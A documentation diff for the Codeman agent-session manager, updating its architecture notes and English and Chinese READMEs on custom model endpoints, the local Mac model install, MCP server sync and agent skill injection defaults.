`setRunMode()`. ⚠️ Every write of `custom-model-hosts.json` goes through `mutateCustomModelHosts()` (`src/custom-model-hosts-writer.ts`: one at a time, temp file + rename, the route's check inside the callback, and a file that does not parse is refused with 409, never read as `[]` and replaced); the one direct writer is config-backup restore. The endpoint id `local-ollama` is reserved for the local model install (see Local model install). Pinned by `test/custom-model-hosts-writer.test.ts`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), and every row names its `runner` (`mlx` or `llamacpp`, the build a Mac really pulls) and carries figures of its OWN: computed from its model's config.json by that runner's rule (catalogue header, MEMORY), never borrowed from another row; `test/local-model-catalog.test.ts` recomputes them, and the `llamacpp` rows assume the runtime's `OLLAMA_KV_CACHE_TYPE=q8_0`, `LLAMA_ARG_CACHE_RAM=1024` and `LLAMA_ARG_CTX_CHECKPOINTS=8` (`runtimeEnv()`) and count what llama-server keeps beside the cache (8 context checkpoints of the recurrent or sliding-window state, and for a GGUF with a prediction layer one rollback copy of the recurrent state per drafted token and that layer's cache in f16), so change the two together. The need is judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md`
**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaveLine truncated
**MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
**Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) and a Discord reply (`DiscordBridge.onGatewayMessage`, through the bridge's `sendInput`) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
@@ -323,7 +327,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/`
## State Files
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `agent-skill-default-migrated.json` (written once by the 1.50.0 boot migration of `agentSkillEnabled`; while it exists the migration never runs again, so deleting it would switch a stored off on at the next start; never tracked or restored), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
+5 -5
View File
@@ -475,6 +475,7 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
- **Open a tmux session you started by hand**: a tmux session started outside Codeman shows up on the home screen, on this machine automatically and in your Docker cases' containers or on your saved SSH hosts when you scan for them. One click opens it as a tab. Closing the tab only detaches, and Codeman will not respawn or relaunch an agent it did not start. See [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman).
- **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, **Antigravity**, **Gemini**, **Pi**, **Grok**, **DeepSeek Harness**, **OMP**, or **GitHub Copilot CLI** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `ANTIGRAVITY_*` vs `GEMINI_*`/`GOOGLE_*` vs `PI_*` vs `GROK_*`/`XAI_*` vs `DSH_*`/`DEEPSEEK_*` vs `OMP_*` vs `COPILOT_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md), [`docs/pi-integration.md`](docs/pi-integration.md), [`docs/grok-integration.md`](docs/grok-integration.md), [`docs/deepseek-integration.md`](docs/deepseek-integration.md) [`docs/omp-integration.md`](docs/omp-integration.md) and [`docs/copilot-integration.md`](docs/copilot-integration.md)
- **Custom model endpoints** _(new in 1.29.0, HTTP API for now)_ — point a session's CLI at any OpenAI-compatible endpoint instead of its native backend: a local llama.cpp, llama-swap, Ollama or vLLM box, or a cloud gateway such as Azure AI Foundry or OpenRouter. Save an endpoint once (`POST /api/model-endpoints`; its models are discovered from `/v1/models`), apply it to a session (`POST /api/sessions/:id/custom-model`), and the CLI restarts in place on that endpoint. Verified live for Claude, OpenCode, Pi, Grok and OMP; Codex, Gemini and DeepSeek have documented gaps, Antigravity has no mechanism. A toolbar picker is the follow-up. See [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
- **A model on this Mac** _(experimental, new in 1.50.0)_: on a Mac with Apple silicon, **Run a local model** on the welcome screen shows which coding model fits, installs it with its runtime and a coding agent, and starts a session on it: no account, no API key, and the prompts and files of that session go to a model on this Mac, not to a cloud provider. Then mix cloud and local: through the [codeman skill](#the-agent-skill-start-here) a Claude Code session hands work to that model (`spawn_worker <name> local`, `sendmark`) and reads the answer back, so Claude plans and reviews in the cloud while the Mac does the bulk: summaries, first drafts, files that should stay here. See [`docs/local-models.md`](docs/local-models.md)
- **Web tabs** — open Grafana, Uptime Kuma, a Vite dev server or any dashboard URL as a tab beside your sessions (Run dropdown → **Web / URL** → **Add URL**). Dashboards are proxied through Codeman's own origin, so an `http://` target works from a phone over HTTPS and through the tunnel, single-page apps route on their own paths, and a frame that reloads recovers itself. A `localhost` link an agent prints opens as a web tab automatically. See [`docs/web-tabs.md`](docs/web-tabs.md)
- **Docker sessions** — run a case inside an isolated, hardened container. One checkbox on **Create New** spins up a container with sensible defaults and starts the agent inside it; multiple sessions share one per-case container, or attach a case to a container you already run; export a container + its workspace to a portable `.tar.gz` to move it to another machine. See [`docs/docker-cases.md`](docs/docker-cases.md)
- **Remote SSH sessions** — point a case at another machine and run the agent there inside a durable remote tmux: survives SSH drops, auto-reconnects, and can discover + attach sessions already running on the host; file previews and downloads come over the same ssh connection. See [`docs/remote-sessions.md`](docs/remote-sessions.md)
@@ -775,15 +776,13 @@ Everything in this section also ships as an **agent skill**, [`skills/codeman`](
#### Step 1: install it
Usually there is nothing to install: since 1.50.0 every new session gets the skill in its folder, where its CLI looks for skills (the web UI row below, on by default). The copy ignores itself in git, so your repository never lists it as a new file. The other routes are for pi, or for a copy that does not depend on that setting.
| How | Command | Scope |
| -------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| Skills CLI | `npx skills add Ark0N/Codeman --skill codeman -g` | Global, for any skills-aware agent ([skills.sh](https://skills.sh)); the way to give it to pi |
| Claude Code plugin | `/plugin marketplace add Ark0N/Codeman` then `/plugin install codeman@codeman` | Global, through Claude Code's plugin manager; `/plugin update codeman` follows releases. Pick this OR a `codeman skill install`, not both: a Claude Code with both lists the skill twice (`codeman` and `codeman:codeman`) |
| Claude Code plugin | `/plugin marketplace add Ark0N/Codeman` then `/plugin install codeman@codeman` | Global, through Claude Code's plugin manager; `/plugin update codeman` follows releases. Pick this OR a `codeman skill install`, not both: a Claude Code with both lists the skill twice (`codeman` and `codeman:codeman`). |
| Bundled CLI | `codeman skill install` | Global (`~/.claude/skills/codeman`), for npm installs that never cloned the repo |
| Bundled CLI | `codeman skill install --case <name> [--mode <mode>]` | One case only; `--mode codex` (or any other run mode) writes it where that CLI looks for skills |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | Auto-injects into each case on session create, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP; not pi, whose project skills trigger a trust prompt (`agentSkillEnabled`, SYNCED, **on by default** since 1.50.0; a Claude Code that also has the plugin lists the skill twice, both work, so drop one if the duplicate bothers you) |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | Auto-injects into each case on session create, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP; not pi, whose project skills trigger a trust prompt (`agentSkillEnabled`, SYNCED, default off) |
`codeman skill uninstall [--case <name>]` reverses the CLI installs (with `--case`, every Codeman-managed copy in that case, whichever CLI's directory it sits in), and never touches a `skills/codeman` you wrote yourself.
@@ -797,6 +796,7 @@ That is the entire interface. No curl, no endpoint names, no session ids. These
| _"Start a shell worker on the `myapp` case, run the test suite, tell me if it passes."_ | Spawns, waits on a split completion marker, reads back the exit code, cleans up. |
| _"Spin up 3 workers for lint, typecheck and tests. Run them in parallel, report failures."_ | The fan-out flow: one session per task, all started first, then gathered as each finishes. |
| _"Have a claude worker on `refactor-auth` summarize `src/session.ts`, then close it."_ | Spawns, runs the readiness ladder (first-run trust dialog included), send-and-wait, reads the clean transcript answer, deletes. |
| _"Use the local model to summarize every file in `docs/`, then check its summaries."_ | Starts a worker on the model Codeman installed on this Mac, gives it the files, reads its answer back and reviews it in the cloud. Says why instead when no local model is installed. |
| _"Watch session w4 and tell me if it gets stuck on a permission prompt."_ | Blocks on the `blocked` signal and surfaces the question to **you**. It never answers another session's prompt itself. |
One short line is enough. Here a Claude Code lead gets `use codeman to start 5 claude workers, one per TODO item`, and five real Claude Code workers power on, shown side by side in the tile grid:
@@ -850,7 +850,7 @@ Every recipe in there was verified against a live server, and the comments recor
- **It self-gates.** It acts inside a Codeman-managed session. Outside one (`CODEMAN_MUX` unset) it only reads saved Codex conversations offline (`codeman history read`) and refuses everything else, and it never guesses an API URL, so a global install costs an unrelated Claude Code session nothing.
- **It is deliberately conservative.** Unprompted, it may only spawn sessions, prompt them, and delete ones **it created in that same conversation, by exact id**, through a fail-closed guard that refuses to delete the agent's own session. Deleting a case (which erases a real directory of your code), bulk kills, respawn/ralph/cron/orchestrator changes and settings writes all require you to ask, naming the target.
⚠️ The web UI injection is **on by default** since 1.50.0. A `settings.json` without the `agentSkillEnabled` key means on. Existing installs that stored off are switched on once at the first 1.50.0 start (every App Settings save on 1.49.0 or earlier wrote the old default, `false`, whether or not you touched this switch); turning it off afterwards sticks. Turning it off **does not remove already-injected copies** (a create-time sweep would yank the skill out from under other live sessions sharing that workspace). Remove them per case with `codeman skill uninstall --case <name>`.
⚠️ Turning `agentSkillEnabled` back off **does not remove already-injected copies** (a create-time sweep would yank the skill out from under other live sessions sharing that workspace). Remove them per case with `codeman skill uninstall --case <name>`.
---
+2 -4
View File
@@ -775,15 +775,13 @@ Web UI 仍是主要界面;完整指南见 **[docs/tui.md](docs/tui.md)**(英
#### 第 1 步:安装
通常什么都不用装:从 1.50.0 起,每个新会话都会在自己的文件夹里、在它的 CLI 查找技能的位置拿到这个技能(即下表的 Web UI 一行,默认开启)。这份副本会让 git 忽略它自己,所以你的仓库永远不会把它列为新文件。其他方式适用于 pi,或者你想要一份不依赖这个设置的副本的情况。
| 方式 | 命令 | 范围 |
| ---------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| Skills CLI | `npx skills add Ark0N/Codeman --skill codeman -g` | 全局,任何支持技能的智能体都能用([skills.sh](https://skills.sh));给 pi 装技能就用这个方式 |
| Claude Code 插件 | `/plugin marketplace add Ark0N/Codeman`,然后 `/plugin install codeman@codeman` | 全局,通过 Claude Code 自带的插件管理器;`/plugin update codeman` 跟随新版本。与 `codeman skill install` 二选一:两者都装会让技能出现两次(`codeman` 和 `codeman:codeman`) |
| 内置 CLI | `codeman skill install` | 全局(`~/.claude/skills/codeman`),给那些从 npm 安装、从未克隆过仓库的用户 |
| 内置 CLI | `codeman skill install --case <name> [--mode <mode>]` | 仅一个 case;`--mode codex`(或任何其他运行模式)会把它写到那个 CLI 查找技能的位置 |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | 每次创建会话时自动注入到 case 里该会话的 CLI 查找技能的位置:Claude Code 是 `.claude/skills/`,Codex、Gemini CLI、OpenCode、Antigravity、Grok、DeepSeek 和 OMP 是 `.agents/skills/`;pi 除外,因为它的项目级技能会触发信任提示(`agentSkillEnabled`,跨设备同步,从 1.50.0 起**默认开启**;同时装了插件的 Claude Code 会把技能列出两次,两个都能用,嫌重复就去掉其中一个) |
| Web UI | App Settings → Agents & CLIs → All agent CLIs → **Codeman Agent Skill** | 每次创建会话时自动注入到 case 里该会话的 CLI 查找技能的位置:Claude Code 是 `.claude/skills/`,Codex、Gemini CLI、OpenCode、Antigravity、Grok、DeepSeek 和 OMP 是 `.agents/skills/`;pi 除外,因为它的项目级技能会触发信任提示(`agentSkillEnabled`,跨设备同步,默认关闭) |
`codeman skill uninstall [--case <name>]` 可以撤销 CLI 安装(带 `--case` 时,删除该 case 里所有由 Codeman 管理的副本,不论它在哪个 CLI 的目录里),并且绝不会碰你自己写的 `skills/codeman`。
@@ -850,7 +848,7 @@ deleted 9f2d8e5f, aff9c691, be9f1f15 标签消失
- **它会自我门禁。** 它在 Codeman 管理的会话里工作。不在这样的会话里(`CODEMAN_MUX` 未设置)时,它只会离线读取已保存的 Codex 对话(`codeman history read`),其他一律拒绝,也从不去猜 API 地址,所以全局安装对无关的 Claude Code 会话没有任何代价。
- **它刻意保守。** 未经提示,它只会拉起会话、给它们发提示,并删除**它在同一段对话里自己创建的**会话(按精确 id,经由一个拒绝删除智能体自身会话的失败即关闭守卫)。删除 case(会抹掉一个真实的代码目录)、批量杀会话、改动 respawn/ralph/cron/orchestrator 以及写设置,都需要你开口并指名目标。
⚠️ 从 1.50.0 起,Web UI 注入**默认开启**。`settings.json` 里没有 `agentSkillEnabled` 这个键就表示开启。已经存了关闭的旧安装,会在第一次启动 1.50.0 时被打开一次(1.49.0 及更早版本每次保存 App Settings 都会写入旧默认值 `false`,不管你有没有动过这个开关);之后你再把它关掉,就会一直保持关闭。把它关掉**不会删掉已经注入的副本**(在创建时做清扫,会把技能从共用同一个工作区的其他活动会话脚下抽走)。要删就按 case 删:`codeman skill uninstall --case <name>`。
⚠️ 把 `agentSkillEnabled` 关回去**不会删掉已经注入的副本**(在创建时做清扫,会把技能从共用同一个工作区的其他活动会话脚下抽走)。要删就按 case 删:`codeman skill uninstall --case <name>`。
---
+1
View File
@@ -60,6 +60,7 @@ export const BROWSER_TEST_GLOBS = [
'test/fullscreen-tab-switch-capture.browser.test.ts',
'test/terminal-touch-swipe-axis.browser.test.ts',
'test/phone-press-feedback.browser.test.ts',
'test/local-model-ui.browser.test.ts',
];
/**
+3 -15
View File
@@ -8,17 +8,6 @@ see [§7 Build log](#7-build-log-what-actually-happened) for what shipped, what
verification round found, and the two items that genuinely remain open (§2.4's footgun
guard and the Part 3 deferrals).
